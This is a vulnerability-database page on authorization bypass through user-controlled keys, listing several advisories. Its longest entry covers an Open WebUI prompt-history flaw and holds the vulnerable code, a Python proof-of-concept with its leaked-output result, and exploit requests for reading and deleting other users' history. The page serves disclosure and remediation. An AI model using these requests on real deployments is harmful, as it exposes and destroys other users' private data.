Common Weakness Enumeration
CWE-639
AllowedAuthorization Bypass Through User-Controlled Key
Abstraction: Base · Status: Incomplete
The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data.
4596 vulnerabilities reference this CWE, most recent first.
GHSA-4Q5X-JWJ9-QGPW
Vulnerability from github – Published: 2024-08-19 00:31 – Updated: 2024-08-19 00:31
VLAI
Details
Authorization Bypass Through User-Controlled Key vulnerability in Checkout Plugins Stripe Payments For WooCommerce by Checkout.This issue affects Stripe Payments For WooCommerce by Checkout: from n/a through 1.9.1.
Severity
7.5 (High)
{
"affected": [],
"aliases": [
"CVE-2024-43315"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-08-18T22:15:11Z",
"severity": "HIGH"
},
"details": "Authorization Bypass Through User-Controlled Key vulnerability in Checkout Plugins Stripe Payments For WooCommerce by Checkout.This issue affects Stripe Payments For WooCommerce by Checkout: from n/a through 1.9.1.",
"id": "GHSA-4q5x-jwj9-qgpw",
"modified": "2024-08-19T00:31:09Z",
"published": "2024-08-19T00:31:09Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-43315"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/checkout-plugins-stripe-woo/wordpress-stripe-payments-for-woocommerce-plugin-1-9-1-insecure-direct-object-references-idor-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-4QCX-XFR8-6HF6
Vulnerability from github – Published: 2026-09-05 09:30 – Updated: 2026-09-06 12:30
VLAI
Details
The Accept Stripe Payments WordPress plugin before 2.1.4 does not verify that the product fulfilled when a checkout is completed matches the product the authoritative payment was actually made for, checking only that the amount paid is at least the referenced product's price, allowing unauthenticated attackers who complete a genuine payment to obtain fulfilment for a different, equal- or lower-priced product than the one they paid for.
Severity
5.3 (Medium)
{
"affected": [],
"aliases": [
"CVE-2026-81424"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-05T07:17:12Z",
"severity": "MODERATE"
},
"details": "The Accept Stripe Payments WordPress plugin before 2.1.4 does not verify that the product fulfilled when a checkout is completed matches the product the authoritative payment was actually made for, checking only that the amount paid is at least the referenced product\u0027s price, allowing unauthenticated attackers who complete a genuine payment to obtain fulfilment for a different, equal- or lower-priced product than the one they paid for.",
"id": "GHSA-4qcx-xfr8-6hf6",
"modified": "2026-09-06T12:30:22Z",
"published": "2026-09-05T09:30:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-81424"
},
{
"type": "WEB",
"url": "https://wpscan.com/vulnerability/64c20ce4-d94d-4f09-8d95-9ba232066f62"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-4QGC-QR9J-76RW
Vulnerability from github – Published: 2026-08-28 21:31 – Updated: 2026-08-28 21:31
VLAI
Details
Kotaemon through 0.12.0 fails to properly validate conversation ownership in select_conv, delete_conv, rename_conv, and on_set_public_conversation functions in control.py. Attackers can read other users' chat histories, delete conversations, or rename conversations by supplying arbitrary conversation identifiers without proper authorization checks.
Severity
7.4 (High)
{
"affected": [],
"aliases": [
"CVE-2026-82281"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-28T20:20:19Z",
"severity": "CRITICAL"
},
"details": "Kotaemon through 0.12.0 fails to properly validate conversation ownership in select_conv, delete_conv, rename_conv, and on_set_public_conversation functions in control.py. Attackers can read other users\u0027 chat histories, delete conversations, or rename conversations by supplying arbitrary conversation identifiers without proper authorization checks.",
"id": "GHSA-4qgc-qr9j-76rw",
"modified": "2026-08-28T21:31:26Z",
"published": "2026-08-28T21:31:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-82281"
},
{
"type": "WEB",
"url": "https://github.com/Cinnamon/kotaemon/issues/846"
},
{
"type": "WEB",
"url": "https://github.com/Cinnamon/kotaemon"
},
{
"type": "WEB",
"url": "https://github.com/Cinnamon/kotaemon/blob/9ad3e4e49aa35b8acddd235918a5d9753c1cfdf9/libs/ktem/ktem/pages/chat/control.py"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/kotaemon-missing-ownership-check-in-conversation-functions"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-4R4M-V89P-5C69
Vulnerability from github – Published: 2024-08-03 18:30 – Updated: 2024-08-03 18:30
VLAI
Details
A vulnerability has been found in SimpleMachines SMF 2.1.4 and classified as problematic. Affected by this vulnerability is an unknown functionality of the file /index.php?action=profile;u=2;area=showalerts;do=read of the component User Alert Read Status Handler. The manipulation of the argument aid leads to improper control of resource identifiers. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-273523. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.
Severity
4.3 (Medium)
{
"affected": [],
"aliases": [
"CVE-2024-7438"
],
"database_specific": {
"cwe_ids": [
"CWE-639",
"CWE-99"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-08-03T16:15:49Z",
"severity": "MODERATE"
},
"details": "A vulnerability has been found in SimpleMachines SMF 2.1.4 and classified as problematic. Affected by this vulnerability is an unknown functionality of the file /index.php?action=profile;u=2;area=showalerts;do=read of the component User Alert Read Status Handler. The manipulation of the argument aid leads to improper control of resource identifiers. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-273523. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.",
"id": "GHSA-4r4m-v89p-5c69",
"modified": "2024-08-03T18:30:33Z",
"published": "2024-08-03T18:30:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-7438"
},
{
"type": "WEB",
"url": "https://github.com/Fewword/Poc/blob/main/smf/smf-poc2.md"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.273523"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.273523"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.380190"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-4R4W-2WGP-W7CJ
Vulnerability from github – Published: 2026-06-17 14:16 – Updated: 2026-07-20 21:07
VLAI
Summary
Open WebUI Prompt history IDOR: unbound history_id allows cross-prompt read and deletion
Details
Summary
Open WebUI's prompt version-history endpoints authorize the prompt_id in the URL but then act on caller-supplied history IDs without verifying that the history row belongs to that prompt (history_entry.prompt_id == prompt.id). Three operations are affected:
GET /api/v1/prompts/id/{prompt_id}/history/diff— returns another prompt's history snapshots (read).POST /api/v1/prompts/id/{prompt_id}/update/version— restores another prompt's snapshot into the caller's prompt, exposing its content (read).DELETE /api/v1/prompts/id/{prompt_id}/history/{history_id}— deletes another prompt's history entry (delete).
An authenticated user with access to any prompt they control, plus a victim prompt_history.id, can read or delete another user's private prompt history. The single-entry read endpoint (GET .../history/{history_id}) already enforces the binding; these three did not.
Impact
Security boundary crossed: prompt confidentiality and integrity.
Prompt history snapshots can contain private prompt text, internal instructions, and sensitive variables. With a known victim prompt_history.id, an attacker can read another user's snapshot (via the diff endpoint or by restoring it into their own prompt) and delete another user's history entry. The active prompt row is not destroyed; the delete impact is against version history. Exploitation requires knowing or obtaining victim history UUIDs, so severity depends on adjacent ID exposure.
Root Cause
The route checks read access only for prompt_id:
# backend/open_webui/routers/prompts.py
prompt = await Prompts.get_prompt_by_id(prompt_id, db=db)
...
if not (
user.role == 'admin'
or prompt.user_id == user.id
or await AccessGrants.has_access(
user_id=user.id,
resource_type='prompt',
resource_id=prompt.id,
permission='read',
db=db,
)
):
raise HTTPException(...)
But the authorized prompt ID is not passed into the diff sink:
# backend/open_webui/routers/prompts.py
diff = await PromptHistories.compute_diff(from_id, to_id, db=db)
compute_diff() fetches both history entries globally by ID and returns their full snapshots:
# backend/open_webui/models/prompt_history.py
result_from = await db.execute(select(PromptHistory).filter(PromptHistory.id == from_id))
from_entry = result_from.scalars().first()
result_to = await db.execute(select(PromptHistory).filter(PromptHistory.id == to_id))
to_entry = result_to.scalars().first()
...
return {
'from_snapshot': from_snapshot,
'to_snapshot': to_snapshot,
...
}
There is no check that from_entry.prompt_id == prompt_id or to_entry.prompt_id == prompt_id.
The same missing binding affects two further endpoints. POST .../update/version restores a snapshot fetched globally by version_id:
# backend/open_webui/models/prompts.py — update_prompt_version
history_entry = await PromptHistories.get_history_entry_by_id(version_id, db=session)
...
prompt.content = snapshot.get('content', prompt.content) # foreign snapshot copied into caller's prompt
prompt.version_id = version_id
DELETE .../history/{history_id} deletes an entry fetched globally by history_id:
# backend/open_webui/models/prompt_history.py — delete_history_entry
result = await db.execute(select(PromptHistory).filter_by(id=history_id))
entry = result.scalars().first()
...
await db.delete(entry)
Neither checks entry.prompt_id == prompt.id. The single-entry read endpoint (GET .../history/{history_id}) does (history_entry.prompt_id != prompt.id → 404); these three endpoints were missing it.
PoC
#!/usr/bin/env python3
"""
PoC for prompt history diff IDOR.
The PoC executes:
- the real routers.prompts.get_prompt_diff() route function
- the real PromptHistories.compute_diff() implementation
Fake model/DB adapters are used only to avoid requiring a running server. The
security-sensitive behavior under test is that the route authorizes the prompt
ID in the URL, then computes a diff for arbitrary history IDs without checking
that those history rows belong to the authorized prompt.
"""
from __future__ import annotations
import asyncio
import json
import os
import sys
import types
from pathlib import Path
from types import SimpleNamespace
def prepare_imports() -> None:
repo_root = Path(__file__).resolve().parents[1]
sys.path.insert(0, str(repo_root / "backend"))
os.environ["VECTOR_DB"] = "none"
class DummyTyper:
def command(self, *args, **kwargs):
return lambda fn: fn
sys.modules.setdefault(
"typer",
types.SimpleNamespace(
Typer=lambda *args, **kwargs: DummyTyper(),
Option=lambda *args, **kwargs: None,
echo=lambda *args, **kwargs: None,
Exit=Exception,
),
)
sys.modules.setdefault("uvicorn", types.SimpleNamespace(run=lambda *args, **kwargs: None))
class FakeScalarResult:
def __init__(self, row):
self.row = row
def first(self):
return self.row
class FakeExecuteResult:
def __init__(self, row):
self.row = row
def scalars(self):
return FakeScalarResult(self.row)
class FakePromptHistoryDb:
def __init__(self, rows):
self.rows = rows
self.calls = 0
async def execute(self, stmt):
row = self.rows[self.calls]
self.calls += 1
return FakeExecuteResult(row)
class FakeDbContext:
def __init__(self, db):
self.db = db
async def __aenter__(self):
return self.db
async def __aexit__(self, exc_type, exc, tb):
return False
async def run_real_compute_diff(from_id: str, to_id: str):
import open_webui.models.prompt_history as history_module
victim_from = SimpleNamespace(
id=from_id,
prompt_id="victim-prompt",
snapshot={
"name": "Victim Prompt",
"command": "/victim",
"content": "PRIVATE_PROMPT_SECRET_V1",
},
)
victim_to = SimpleNamespace(
id=to_id,
prompt_id="victim-prompt",
snapshot={
"name": "Victim Prompt",
"command": "/victim",
"content": "PRIVATE_PROMPT_SECRET_V2",
},
)
fake_db = FakePromptHistoryDb([victim_from, victim_to])
original_context = history_module.get_async_db_context
try:
history_module.get_async_db_context = lambda db=None: FakeDbContext(fake_db)
diff = await history_module.PromptHistories.compute_diff(from_id, to_id)
finally:
history_module.get_async_db_context = original_context
return diff
async def main() -> None:
prepare_imports()
import open_webui.routers.prompts as prompts_router
attacker_prompt = SimpleNamespace(
id="attacker-prompt",
user_id="attacker",
)
attacker = SimpleNamespace(id="attacker", role="user")
victim_from_id = "victim-history-from"
victim_to_id = "victim-history-to"
class FakePrompts:
looked_up_prompt_ids = []
async def get_prompt_by_id(self, prompt_id, db=None):
self.looked_up_prompt_ids.append(prompt_id)
if prompt_id == "attacker-prompt":
return attacker_prompt
return None
class FakeAccessGrants:
async def has_access(self, *args, **kwargs):
return False
class FakePromptHistories:
compute_diff_calls = []
async def compute_diff(self, from_id, to_id, db=None):
self.compute_diff_calls.append(
{
"from_id": from_id,
"to_id": to_id,
"authorized_prompt_id_not_passed": True,
}
)
return await run_real_compute_diff(from_id, to_id)
fake_prompts = FakePrompts()
fake_histories = FakePromptHistories()
original = {
"Prompts": prompts_router.Prompts,
"AccessGrants": prompts_router.AccessGrants,
"PromptHistories": prompts_router.PromptHistories,
}
try:
prompts_router.Prompts = fake_prompts
prompts_router.AccessGrants = FakeAccessGrants()
prompts_router.PromptHistories = fake_histories
diff = await prompts_router.get_prompt_diff(
prompt_id="attacker-prompt",
from_id=victim_from_id,
to_id=victim_to_id,
user=attacker,
db=None,
)
finally:
for name, value in original.items():
setattr(prompts_router, name, value)
result = {
"confirmed": (
diff.get("from_snapshot", {}).get("content") == "PRIVATE_PROMPT_SECRET_V1"
and diff.get("to_snapshot", {}).get("content") == "PRIVATE_PROMPT_SECRET_V2"
and fake_prompts.looked_up_prompt_ids == ["attacker-prompt"]
and fake_histories.compute_diff_calls
and fake_histories.compute_diff_calls[0]["authorized_prompt_id_not_passed"] is True
),
"attacker_user_id": "attacker",
"authorized_prompt_id": "attacker-prompt",
"victim_prompt_id": "victim-prompt",
"victim_history_ids": [victim_from_id, victim_to_id],
"prompt_ids_authorized_by_route": fake_prompts.looked_up_prompt_ids,
"compute_diff_calls": fake_histories.compute_diff_calls,
"leaked_from_snapshot": diff.get("from_snapshot"),
"leaked_to_snapshot": diff.get("to_snapshot"),
"source": {
"route": "backend/open_webui/routers/prompts.py:get_prompt_diff",
"sink": "backend/open_webui/models/prompt_history.py:PromptHistories.compute_diff",
},
}
print(json.dumps(result, indent=2, sort_keys=True))
if not result["confirmed"]:
raise SystemExit(1)
if __name__ == "__main__":
asyncio.run(main())
The PoC executes the real route function and the real PromptHistories.compute_diff() implementation with fake model/DB adapters. It authorizes the attacker against attacker-prompt, then supplies two victim history IDs. The route returns the victim prompt snapshots.
Result:
{
"attacker_user_id": "attacker",
"authorized_prompt_id": "attacker-prompt",
"confirmed": true,
"leaked_from_snapshot": {
"command": "/victim",
"content": "PRIVATE_PROMPT_SECRET_V1",
"name": "Victim Prompt"
},
"leaked_to_snapshot": {
"command": "/victim",
"content": "PRIVATE_PROMPT_SECRET_V2",
"name": "Victim Prompt"
},
"prompt_ids_authorized_by_route": [
"attacker-prompt"
],
"victim_history_ids": [
"victim-history-from",
"victim-history-to"
],
"victim_prompt_id": "victim-prompt"
}
Exploit Sketch
Read via the diff endpoint:
- Attacker has read access to
ATTACKER_PROMPT_ID. - Attacker knows two history IDs for a victim prompt:
VICTIM_FROM_HISTORY_IDandVICTIM_TO_HISTORY_ID. - Attacker requests:
GET /api/v1/prompts/id/ATTACKER_PROMPT_ID/history/diff?from_id=VICTIM_FROM_HISTORY_ID&to_id=VICTIM_TO_HISTORY_ID
- The server authorizes
ATTACKER_PROMPT_ID, then returns snapshots for the victim history IDs.
Read via restore (update/version): the attacker POSTs {"version_id": "VICTIM_HISTORY_ID"} to their own prompt's update/version, then GETs their prompt; it now holds the victim snapshot's name/content/data/meta/tags.
Delete: the attacker sends DELETE /api/v1/prompts/id/ATTACKER_PROMPT_ID/history/VICTIM_HISTORY_ID; the victim history entry is removed.
Recommended Fix
Bind every prompt-history operation to the authorized prompt before acting on a history ID, mirroring the single-entry read endpoint:
compute_diff()should acceptprompt_idand query both entries withPromptHistory.prompt_id == prompt_idalongside the id filter.delete_history_entry()should acceptprompt_idand filterfilter_by(id=history_id, prompt_id=prompt_id).update_prompt_version()should rejecthistory_entry.prompt_id != prompt_idbefore restoring.
Return 404/403 on mismatch.
Consolidation
Per our Report Handling policy this consolidates independent reports of the same prompt-history authorization flaw (one missing history_entry.prompt_id == prompt.id binding) reached through different endpoints:
- Diff-endpoint read and history deletion: @0xEr3n (earliest filings).
update/versionrestore-read: distinct path demonstrated by @5yu4n.
One CVE for the consolidated advisory.
Severity
6.4 (Medium)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.9.5"
},
"package": {
"ecosystem": "PyPI",
"name": "open-webui"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.9.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54015"
],
"database_specific": {
"cwe_ids": [
"CWE-284",
"CWE-639"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-17T14:16:50Z",
"nvd_published_at": "2026-06-23T18:18:06Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nOpen WebUI\u0027s prompt version-history endpoints authorize the `prompt_id` in the URL but then act on caller-supplied history IDs without verifying that the history row belongs to that prompt (`history_entry.prompt_id == prompt.id`). Three operations are affected:\n\n- `GET /api/v1/prompts/id/{prompt_id}/history/diff` \u2014 returns another prompt\u0027s history snapshots (read).\n- `POST /api/v1/prompts/id/{prompt_id}/update/version` \u2014 restores another prompt\u0027s snapshot into the caller\u0027s prompt, exposing its content (read).\n- `DELETE /api/v1/prompts/id/{prompt_id}/history/{history_id}` \u2014 deletes another prompt\u0027s history entry (delete).\n\nAn authenticated user with access to any prompt they control, plus a victim `prompt_history.id`, can read or delete another user\u0027s private prompt history. The single-entry read endpoint (`GET .../history/{history_id}`) already enforces the binding; these three did not.\n\n## Impact\n\nSecurity boundary crossed: prompt confidentiality and integrity.\n\nPrompt history snapshots can contain private prompt text, internal instructions, and sensitive variables. With a known victim `prompt_history.id`, an attacker can read another user\u0027s snapshot (via the diff endpoint or by restoring it into their own prompt) and delete another user\u0027s history entry. The active prompt row is not destroyed; the delete impact is against version history. Exploitation requires knowing or obtaining victim history UUIDs, so severity depends on adjacent ID exposure.\n\n## Root Cause\n\nThe route checks read access only for `prompt_id`:\n\n```python\n# backend/open_webui/routers/prompts.py\nprompt = await Prompts.get_prompt_by_id(prompt_id, db=db)\n...\nif not (\n user.role == \u0027admin\u0027\n or prompt.user_id == user.id\n or await AccessGrants.has_access(\n user_id=user.id,\n resource_type=\u0027prompt\u0027,\n resource_id=prompt.id,\n permission=\u0027read\u0027,\n db=db,\n )\n):\n raise HTTPException(...)\n```\n\nBut the authorized prompt ID is not passed into the diff sink:\n\n```python\n# backend/open_webui/routers/prompts.py\ndiff = await PromptHistories.compute_diff(from_id, to_id, db=db)\n```\n\n`compute_diff()` fetches both history entries globally by ID and returns their full snapshots:\n\n```python\n# backend/open_webui/models/prompt_history.py\nresult_from = await db.execute(select(PromptHistory).filter(PromptHistory.id == from_id))\nfrom_entry = result_from.scalars().first()\nresult_to = await db.execute(select(PromptHistory).filter(PromptHistory.id == to_id))\nto_entry = result_to.scalars().first()\n...\nreturn {\n \u0027from_snapshot\u0027: from_snapshot,\n \u0027to_snapshot\u0027: to_snapshot,\n ...\n}\n```\n\nThere is no check that `from_entry.prompt_id == prompt_id` or `to_entry.prompt_id == prompt_id`.\n\nThe same missing binding affects two further endpoints. `POST .../update/version` restores a snapshot fetched globally by `version_id`:\n\n```python\n# backend/open_webui/models/prompts.py \u2014 update_prompt_version\nhistory_entry = await PromptHistories.get_history_entry_by_id(version_id, db=session)\n...\nprompt.content = snapshot.get(\u0027content\u0027, prompt.content) # foreign snapshot copied into caller\u0027s prompt\nprompt.version_id = version_id\n```\n\n`DELETE .../history/{history_id}` deletes an entry fetched globally by `history_id`:\n\n```python\n# backend/open_webui/models/prompt_history.py \u2014 delete_history_entry\nresult = await db.execute(select(PromptHistory).filter_by(id=history_id))\nentry = result.scalars().first()\n...\nawait db.delete(entry)\n```\n\nNeither checks `entry.prompt_id == prompt.id`. The single-entry read endpoint (`GET .../history/{history_id}`) does (`history_entry.prompt_id != prompt.id \u2192 404`); these three endpoints were missing it.\n\n## PoC\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC for prompt history diff IDOR.\n\nThe PoC executes:\n - the real routers.prompts.get_prompt_diff() route function\n - the real PromptHistories.compute_diff() implementation\n\nFake model/DB adapters are used only to avoid requiring a running server. The\nsecurity-sensitive behavior under test is that the route authorizes the prompt\nID in the URL, then computes a diff for arbitrary history IDs without checking\nthat those history rows belong to the authorized prompt.\n\"\"\"\n\nfrom __future__ import annotations\n\nimport asyncio\nimport json\nimport os\nimport sys\nimport types\nfrom pathlib import Path\nfrom types import SimpleNamespace\n\n\ndef prepare_imports() -\u003e None:\n repo_root = Path(__file__).resolve().parents[1]\n sys.path.insert(0, str(repo_root / \"backend\"))\n os.environ[\"VECTOR_DB\"] = \"none\"\n\n class DummyTyper:\n def command(self, *args, **kwargs):\n return lambda fn: fn\n\n sys.modules.setdefault(\n \"typer\",\n types.SimpleNamespace(\n Typer=lambda *args, **kwargs: DummyTyper(),\n Option=lambda *args, **kwargs: None,\n echo=lambda *args, **kwargs: None,\n Exit=Exception,\n ),\n )\n sys.modules.setdefault(\"uvicorn\", types.SimpleNamespace(run=lambda *args, **kwargs: None))\n\n\nclass FakeScalarResult:\n def __init__(self, row):\n self.row = row\n\n def first(self):\n return self.row\n\n\nclass FakeExecuteResult:\n def __init__(self, row):\n self.row = row\n\n def scalars(self):\n return FakeScalarResult(self.row)\n\n\nclass FakePromptHistoryDb:\n def __init__(self, rows):\n self.rows = rows\n self.calls = 0\n\n async def execute(self, stmt):\n row = self.rows[self.calls]\n self.calls += 1\n return FakeExecuteResult(row)\n\n\nclass FakeDbContext:\n def __init__(self, db):\n self.db = db\n\n async def __aenter__(self):\n return self.db\n\n async def __aexit__(self, exc_type, exc, tb):\n return False\n\n\nasync def run_real_compute_diff(from_id: str, to_id: str):\n import open_webui.models.prompt_history as history_module\n\n victim_from = SimpleNamespace(\n id=from_id,\n prompt_id=\"victim-prompt\",\n snapshot={\n \"name\": \"Victim Prompt\",\n \"command\": \"/victim\",\n \"content\": \"PRIVATE_PROMPT_SECRET_V1\",\n },\n )\n victim_to = SimpleNamespace(\n id=to_id,\n prompt_id=\"victim-prompt\",\n snapshot={\n \"name\": \"Victim Prompt\",\n \"command\": \"/victim\",\n \"content\": \"PRIVATE_PROMPT_SECRET_V2\",\n },\n )\n\n fake_db = FakePromptHistoryDb([victim_from, victim_to])\n original_context = history_module.get_async_db_context\n try:\n history_module.get_async_db_context = lambda db=None: FakeDbContext(fake_db)\n diff = await history_module.PromptHistories.compute_diff(from_id, to_id)\n finally:\n history_module.get_async_db_context = original_context\n\n return diff\n\n\nasync def main() -\u003e None:\n prepare_imports()\n\n import open_webui.routers.prompts as prompts_router\n\n attacker_prompt = SimpleNamespace(\n id=\"attacker-prompt\",\n user_id=\"attacker\",\n )\n attacker = SimpleNamespace(id=\"attacker\", role=\"user\")\n victim_from_id = \"victim-history-from\"\n victim_to_id = \"victim-history-to\"\n\n class FakePrompts:\n looked_up_prompt_ids = []\n\n async def get_prompt_by_id(self, prompt_id, db=None):\n self.looked_up_prompt_ids.append(prompt_id)\n if prompt_id == \"attacker-prompt\":\n return attacker_prompt\n return None\n\n class FakeAccessGrants:\n async def has_access(self, *args, **kwargs):\n return False\n\n class FakePromptHistories:\n compute_diff_calls = []\n\n async def compute_diff(self, from_id, to_id, db=None):\n self.compute_diff_calls.append(\n {\n \"from_id\": from_id,\n \"to_id\": to_id,\n \"authorized_prompt_id_not_passed\": True,\n }\n )\n return await run_real_compute_diff(from_id, to_id)\n\n fake_prompts = FakePrompts()\n fake_histories = FakePromptHistories()\n\n original = {\n \"Prompts\": prompts_router.Prompts,\n \"AccessGrants\": prompts_router.AccessGrants,\n \"PromptHistories\": prompts_router.PromptHistories,\n }\n try:\n prompts_router.Prompts = fake_prompts\n prompts_router.AccessGrants = FakeAccessGrants()\n prompts_router.PromptHistories = fake_histories\n\n diff = await prompts_router.get_prompt_diff(\n prompt_id=\"attacker-prompt\",\n from_id=victim_from_id,\n to_id=victim_to_id,\n user=attacker,\n db=None,\n )\n finally:\n for name, value in original.items():\n setattr(prompts_router, name, value)\n\n result = {\n \"confirmed\": (\n diff.get(\"from_snapshot\", {}).get(\"content\") == \"PRIVATE_PROMPT_SECRET_V1\"\n and diff.get(\"to_snapshot\", {}).get(\"content\") == \"PRIVATE_PROMPT_SECRET_V2\"\n and fake_prompts.looked_up_prompt_ids == [\"attacker-prompt\"]\n and fake_histories.compute_diff_calls\n and fake_histories.compute_diff_calls[0][\"authorized_prompt_id_not_passed\"] is True\n ),\n \"attacker_user_id\": \"attacker\",\n \"authorized_prompt_id\": \"attacker-prompt\",\n \"victim_prompt_id\": \"victim-prompt\",\n \"victim_history_ids\": [victim_from_id, victim_to_id],\n \"prompt_ids_authorized_by_route\": fake_prompts.looked_up_prompt_ids,\n \"compute_diff_calls\": fake_histories.compute_diff_calls,\n \"leaked_from_snapshot\": diff.get(\"from_snapshot\"),\n \"leaked_to_snapshot\": diff.get(\"to_snapshot\"),\n \"source\": {\n \"route\": \"backend/open_webui/routers/prompts.py:get_prompt_diff\",\n \"sink\": \"backend/open_webui/models/prompt_history.py:PromptHistories.compute_diff\",\n },\n }\n print(json.dumps(result, indent=2, sort_keys=True))\n if not result[\"confirmed\"]:\n raise SystemExit(1)\n\n\nif __name__ == \"__main__\":\n asyncio.run(main())\n```\n\nThe PoC executes the real route function and the real `PromptHistories.compute_diff()` implementation with fake model/DB adapters. It authorizes the attacker against `attacker-prompt`, then supplies two victim history IDs. The route returns the victim prompt snapshots.\n\nResult:\n\n```json\n{\n \"attacker_user_id\": \"attacker\",\n \"authorized_prompt_id\": \"attacker-prompt\",\n \"confirmed\": true,\n \"leaked_from_snapshot\": {\n \"command\": \"/victim\",\n \"content\": \"PRIVATE_PROMPT_SECRET_V1\",\n \"name\": \"Victim Prompt\"\n },\n \"leaked_to_snapshot\": {\n \"command\": \"/victim\",\n \"content\": \"PRIVATE_PROMPT_SECRET_V2\",\n \"name\": \"Victim Prompt\"\n },\n \"prompt_ids_authorized_by_route\": [\n \"attacker-prompt\"\n ],\n \"victim_history_ids\": [\n \"victim-history-from\",\n \"victim-history-to\"\n ],\n \"victim_prompt_id\": \"victim-prompt\"\n}\n```\n\n## Exploit Sketch\n\nRead via the diff endpoint:\n\n1. Attacker has read access to `ATTACKER_PROMPT_ID`.\n2. Attacker knows two history IDs for a victim prompt: `VICTIM_FROM_HISTORY_ID` and `VICTIM_TO_HISTORY_ID`.\n3. Attacker requests:\n\n```text\nGET /api/v1/prompts/id/ATTACKER_PROMPT_ID/history/diff?from_id=VICTIM_FROM_HISTORY_ID\u0026to_id=VICTIM_TO_HISTORY_ID\n```\n\n4. The server authorizes `ATTACKER_PROMPT_ID`, then returns snapshots for the victim history IDs.\n\nRead via restore (`update/version`): the attacker `POST`s `{\"version_id\": \"VICTIM_HISTORY_ID\"}` to their own prompt\u0027s `update/version`, then `GET`s their prompt; it now holds the victim snapshot\u0027s name/content/data/meta/tags.\n\nDelete: the attacker sends `DELETE /api/v1/prompts/id/ATTACKER_PROMPT_ID/history/VICTIM_HISTORY_ID`; the victim history entry is removed.\n\n## Recommended Fix\n\nBind every prompt-history operation to the authorized prompt before acting on a history ID, mirroring the single-entry read endpoint:\n\n- `compute_diff()` should accept `prompt_id` and query both entries with `PromptHistory.prompt_id == prompt_id` alongside the id filter.\n- `delete_history_entry()` should accept `prompt_id` and filter `filter_by(id=history_id, prompt_id=prompt_id)`.\n- `update_prompt_version()` should reject `history_entry.prompt_id != prompt_id` before restoring.\n\nReturn 404/403 on mismatch.\n\n## Consolidation\n\nPer our Report Handling policy this consolidates independent reports of the same prompt-history authorization flaw (one missing `history_entry.prompt_id == prompt.id` binding) reached through different endpoints:\n\n- Diff-endpoint read and history deletion: @0xEr3n (earliest filings).\n- `update/version` restore-read: distinct path demonstrated by @5yu4n.\n\nOne CVE for the consolidated advisory.",
"id": "GHSA-4r4w-2wgp-w7cj",
"modified": "2026-07-20T21:07:08Z",
"published": "2026-06-17T14:16:50Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-4r4w-2wgp-w7cj"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54015"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-4r4w-2wgp-w7cj"
},
{
"type": "PACKAGE",
"url": "https://github.com/open-webui/open-webui"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/open-webui/PYSEC-2026-2701.yaml"
},
{
"type": "WEB",
"url": "https://pypi.org/project/open-webui"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:L",
